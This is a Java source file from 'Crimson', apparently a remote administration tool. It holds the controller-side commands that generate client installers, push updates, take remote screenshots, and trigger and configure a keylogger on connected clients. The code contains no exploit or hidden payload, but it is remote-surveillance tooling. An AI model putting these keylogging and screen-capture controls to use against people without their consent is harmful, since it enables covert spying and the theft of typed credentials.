/****************************************************************************** * * * Copyright 2016 Subterranean Security * * * * Licensed under the Apache License, Version 2.0 (the "License"); * * you may not use this file except in compliance with the License. * * You may obtain a copy of the License at * * * * http://www.apache.org/licenses/LICENSE-2.0 * * * * Unless required by applicable law or agreed to in writing, software * * distributed under the License is distributed on an "AS IS" BASIS, * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * * See the License for the specific language governing permissions and * * limitations under the License. * * * *****************************************************************************/ package com.subterranean_security.crimson.viewer.net; import java.io.File; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.List; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.subterranean_security.crimson.core.Common; import com.subterranean_security.crimson.core.net.MessageFuture.Timeout; import com.subterranean_security.crimson.core.proto.Chat.RQ_Chat; import com.subterranean_security.crimson.core.proto.ClientAuth.RQ_CreateAuthMethod; import com.subterranean_security.crimson.core.proto.ClientAuth.RQ_RemoveAuthMethod; import com.subterranean_security.crimson.core.proto.ClientControl.RQ_ChangeSetting; import com.subterranean_security.crimson.core.proto.Generator.ClientConfig; import com.subterranean_security.crimson.core.proto.Generator.GenReport; import com.subterranean_security.crimson.core.proto.Generator.RQ_Generate; import com.subterranean_security.crimson.core.proto.Keylogger.RQ_KeyUpdate; import com.subterranean_security.crimson.core.proto.Log.LogFile; import com.subterranean_security.crimson.core.proto.Log.LogType; import com.subterranean_security.crimson.core.proto.Log.RQ_Logs; import com.subterranean_security.crimson.core.proto.MSG.Message; import com.subterranean_security.crimson.core.proto.Misc.AuthMethod; import com.subterranean_security.crimson.core.proto.Misc.Outcome; import com.subterranean_security.crimson.core.proto.Screenshot.RQ_QuickScreenshot; import com.subterranean_security.crimson.core.proto.State.RQ_ChangeClientState; import com.subterranean_security.crimson.core.proto.State.RQ_ChangeServerState; import com.subterranean_security.crimson.core.proto.State.StateType; import com.subterranean_security.crimson.core.proto.Update.RQ_GetClientConfig; import com.subterranean_security.crimson.core.store.ConnectionStore; import com.subterranean_security.crimson.core.util.FileUtil; import com.subterranean_security.crimson.core.util.IDGen; import com.subterranean_security.crimson.universal.Universal; import com.subterranean_security.crimson.viewer.store.ProfileStore; import com.subterranean_security.crimson.viewer.ui.screen.generator.Report; import com.subterranean_security.crimson.viewer.ui.screen.main.MainFrame; public final class ViewerCommands { private static final Logger log = LoggerFactory.getLogger(ViewerCommands.class); private ViewerCommands() { } public static Outcome changeServerState(StateType st) { log.debug("Changing server state: {}", st.toString()); Outcome.Builder outcome = Outcome.newBuilder(); try { Message m = ConnectionStore.routeAndWait( Message.newBuilder().setRqChangeServerState(RQ_ChangeServerState.newBuilder().setNewState(st)), 3); if (m == null) { outcome.setResult(false).setComment("Request timeout"); } else if (!m.getRsChangeServerState().getOutcome().getResult()) { outcome.setResult(false).setComment(m.getRsChangeServerState().getOutcome().hasComment() ? m.getRsChangeServerState().getOutcome().getComment() : "no comment"); } else { outcome.setResult(true); } } catch (InterruptedException e) { outcome.setResult(false).setComment("Interrupted"); } catch (Timeout e) { // TODO Auto-generated catch block e.printStackTrace(); } return outcome.build(); } public static Outcome changeClientState(int cid, StateType st) { log.debug("Changing client state: {}", st.toString()); Outcome.Builder outcome = Outcome.newBuilder(); try { Message m = ConnectionStore.routeAndWait(Message.newBuilder().setRid(cid).setSid(Common.cvid) .setRqChangeClientState(RQ_ChangeClientState.newBuilder().setNewState(st)), 3); if (m == null) { outcome.setResult(false).setComment("Request timeout"); } else { return m.getRsChangeClientState().getOutcome(); } } catch (InterruptedException e) { outcome.setResult(false).setComment("Interrupted"); } catch (Timeout e) { // TODO Auto-generated catch block e.printStackTrace(); } return outcome.build(); } public static Outcome createAuthMethod(AuthMethod at) { Outcome.Builder outcome = Outcome.newBuilder(); try { Message m = ConnectionStore.routeAndWait( Message.newBuilder().setRqCreateAuthMethod(RQ_CreateAuthMethod.newBuilder().setAuthMethod(at)), 3); if (m == null) { outcome.setResult(false).setComment("Request timeout"); } else if (!m.getRsCreateAuthMethod().getOutcome().getResult()) { outcome.setResult(false).setComment(m.getRsCreateAuthMethod().getOutcome().hasComment() ? m.getRsCreateAuthMethod().getOutcome().getComment() : "no comment"); } else { outcome.setResult(true); } } catch (InterruptedException e) { outcome.setResult(false).setComment("Interrupted"); } catch (Timeout e) { // TODO Auto-generated catch block e.printStackTrace(); } return outcome.build(); } public static Outcome removeAuthMethod(int id) { Outcome.Builder outcome = Outcome.newBuilder(); try { Message m = ConnectionStore.routeAndWait( Message.newBuilder().setRqRemoveAuthMethod(RQ_RemoveAuthMethod.newBuilder().setId(id)), 3); if (m == null) { outcome.setResult(false).setComment("Request timeout"); } else if (!m.getRsRemoveAuthMethod().getResult()) { outcome.setResult(false).setComment( m.getRsRemoveAuthMethod().hasComment() ? m.getRsRemoveAuthMethod().getComment() : "no comment"); } else { outcome.setResult(true); } } catch (InterruptedException e) { outcome.setResult(false).setComment("Interrupted"); } catch (Timeout e) { // TODO Auto-generated catch block e.printStackTrace(); } return outcome.build(); } public static void generate(ClientConfig config, String output, Date creation) { int id = IDGen.msg(); RQ_Generate.Builder rq = RQ_Generate.newBuilder().setInternalConfig(config); ConnectionStore.route(Message.newBuilder().setId(id).setRqGenerate(rq).build()); try { Message rs = ConnectionStore.waitForResponse(0, id, 20); // success final GenReport gr = rs.getRsGenerate().getReport(); Runnable r = new Runnable() { public void run() { Report rep = new Report(gr); rep.setVisible(true); } }; if (gr.getResult()) { MainFrame.main.np.addNote("info", "Generation complete!", "Click for report", r); FileUtil.writeFile(rs.getRsGenerate().getInstaller().toByteArray(), new File(output)); } else { MainFrame.main.np.addNote("error", "Generation failed!", "Click for report", r); log.error("Could not generate an installer"); } } catch (InterruptedException e) { log.debug("Generation interrupted"); } catch (IOException e) { log.error("Failed to write the installer"); e.printStackTrace(); } catch (Timeout e) { MainFrame.main.np.addNote("error", "Generation Timed Out!"); log.error("Could not generate an installer. Check the network."); } } public static void trigger_key_update(int cid, Date target) { log.debug("Triggering keylog update"); try { Message m = ConnectionStore.routeAndWait( Message.newBuilder().setRqKeyUpdate( RQ_KeyUpdate.newBuilder().setCid(cid).setStartDate(target == null ? 0 : target.getTime())), 30); if (m != null) { log.debug("Update result: " + m.getRsKeyUpdate().getResult()); } } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (Timeout e) { // TODO Auto-generated catch block e.printStackTrace(); } } public static ClientConfig getClientConfig(int cid) { log.debug("Retrieving client config"); try { Message m = ConnectionStore.routeAndWait(Message.newBuilder().setRid(cid).setSid(Common.cvid) .setRqGetClientConfig(RQ_GetClientConfig.newBuilder()), 3); if (m != null) { return m.getRsGetClientConfig().getConfig(); } } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (Timeout e) { // TODO Auto-generated catch block e.printStackTrace(); } return null; } public static Outcome updateClient(int cid) { Outcome.Builder outcome = Outcome.newBuilder(); ClientConfig client = getClientConfig(cid); if (client == null) { outcome.setResult(false).setComment("Could not obtain client configuration"); } else if (client.getBuildNumber() >= Common.build && !Universal.isDebug) { outcome.setResult(false).setComment("No updated needed"); } else { try { Message m = ConnectionStore.routeAndWait(Message.newBuilder() .setRqGenerate(RQ_Generate.newBuilder().setSendToCid(cid).setInternalConfig(client)), 15); if (m == null) { outcome.setResult(false).setComment("No response"); } else { GenReport gr = m.getRsGenerate().getReport(); outcome.setResult(gr.getResult()); if (gr.hasComment()) { outcome.setComment(gr.getComment()); } } } catch (InterruptedException e) { outcome.setResult(false).setComment("Interrupted"); } catch (Timeout e) { // TODO Auto-generated catch block e.printStackTrace(); } } return outcome.build(); } private static SimpleDateFormat screenshotDate = new SimpleDateFormat("YYYY-MM-dd hh.mm.ss"); public static Outcome quickScreenshot(int cid) { Outcome.Builder outcome = Outcome.newBuilder(); try { Message m = ConnectionStore.routeAndWait(Message.newBuilder().setRid(cid).setSid(Common.cvid) .setRqQuickScreenshot(RQ_QuickScreenshot.newBuilder()), 10); File file = new File( System.getProperty("user.home") + "/Crimson/" + screenshotDate.format(new Date()) + ".jpg"); file.getParentFile().mkdirs(); if (m != null) { outcome.setComment(file.getAbsolutePath()); FileUtil.writeFile(m.getRsQuickScreenshot().getBin().toByteArray(), file); outcome.setResult(file.exists()); } else { outcome.setResult(false).setComment("Request timeout"); } } catch (InterruptedException e) { outcome.setResult(false).setComment("Error: Interrupted"); } catch (IOException e) { outcome.setResult(false).setComment("Error: " + e.getMessage()); } catch (Timeout e) { // TODO Auto-generated catch block e.printStackTrace(); } return outcome.build(); } public static LogFile getLog(int cid, LogType type) { try { Message m = ConnectionStore.routeAndWait( Message.newBuilder().setRid(cid).setSid(Common.cvid).setRqLogs(RQ_Logs.newBuilder().setLog(type)), 3); if (m != null) { return m.getRsLogs().getLog(0); } } catch (InterruptedException e) { } catch (Timeout e) { // TODO Auto-generated catch block e.printStackTrace(); } return null; } public static List<LogFile> getLogs(int cid) { try { Message m = ConnectionStore.routeAndWait( Message.newBuilder().setRid(cid).setSid(Common.cvid).setRqLogs(RQ_Logs.newBuilder()), 3); if (m != null) { return m.getRsLogs().getLogList(); } } catch (InterruptedException e) { } catch (Timeout e) { // TODO Auto-generated catch block e.printStackTrace(); } return null; } public static Outcome changeSetting(int cid, RQ_ChangeSetting rq) { Outcome.Builder outcome = Outcome.newBuilder(); try { Message m = ConnectionStore .routeAndWait(Message.newBuilder().setRid(cid).setSid(Common.cvid).setRqChangeSetting(rq), 5); if (m == null) { outcome.setResult(false).setComment("Request timed out"); } else { if (m.getRsChangeSetting().getResult().getResult()) { // update profile if (rq.hasKeyloggerState()) { ProfileStore.getClient(cid).setKeyloggerState(rq.getKeyloggerState()); } if (rq.hasFlushMethod()) { ProfileStore.getClient(cid).setKeyloggerTrigger(rq.getFlushMethod()); } if (rq.hasFlushValue()) { ProfileStore.getClient(cid).setKeyloggerTriggerValue(rq.getFlushValue()); } } return m.getRsChangeSetting().getResult(); } } catch (InterruptedException e) { outcome.setResult(false).setComment("Interrupted"); } catch (Timeout e) { // TODO Auto-generated catch block e.printStackTrace(); } return outcome.build(); } public static Outcome openChat(int cid, boolean prompt) { Outcome.Builder outcome = Outcome.newBuilder(); try { Message m = ConnectionStore.routeAndWait( Message.newBuilder().setRid(cid).setSid(Common.cvid).setRqChat(RQ_Chat.newBuilder()), 5); if (m == null) { outcome.setResult(false).setComment("Request timed out"); } else { // TODO open chat outcome.setResult(true); } } catch (InterruptedException e) { outcome.setResult(false).setComment("Interrupted"); } catch (Timeout e) { // TODO Auto-generated catch block e.printStackTrace(); } return outcome.build(); } }